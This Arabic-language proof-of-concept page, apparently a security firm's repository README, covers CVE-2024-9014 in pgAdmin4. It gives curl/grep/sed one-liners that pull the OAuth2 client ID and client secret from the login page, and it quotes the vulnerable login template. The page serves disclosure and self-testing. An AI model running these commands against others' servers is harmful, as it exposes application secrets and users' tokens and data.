
Pgadmin4 كشف المعلومات الحساسة
★ CVE-2024-9014 كشف المعلومات الحساسة - إثبات المفهوم ★
CVE-2024-9014 : كشف المعلومات الحساسة في pgAdmin4
الوصف: إصدارات pgAdmin 8.11 والإصدارات الأقدم عرضة لثغرة أمنية في مصادقة OAuth2. تسمح هذه الثغرة للمهاجم باحتمال الحصول على معرف العميل والسر، مما يؤدي إلى وصول غير مصرح به لبيانات المستخدم.
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 و pgadmin4-8.12

عند هذه النقطة، يُرجع المتغير config.OAUTH2_CONFIG ملفات إعدادات OAUTH2 بما في ذلك OAUTH2_CLIENT_ID و OAUTH2_CLIENT_SECRET.
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

تحديد وحماية معاملات OAuth السرية أمر مهم للغاية. بينما يمكن الكشف عن "client_id" بأمان، فإن الكشف عن "client_secret" يحمل مخاطر كبيرة. إذا تم اختراق client_secret، يمكن للمهاجم استغلال هوية وثقة التطبيق لسرقة "access token" الخاص بالمستخدم ومعلوماته الشخصية.
لا يُقصد من هذا المستودع كشف المعلومات الحساسة المتعلقة بـ CVE-2024-9014. الغرض من هذا المشروع هو مساعدة الأشخاص على التعلم عن هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
ننشر تحليلات CVE والبرمجيات الخبيثة مرة واحدة في الشهر. إذا كنت مهتمًا، يرجى متابعة الروابط أدناه للاطلاع على منشوراتنا. https://www.skshieldus.com/eng/business/insight.do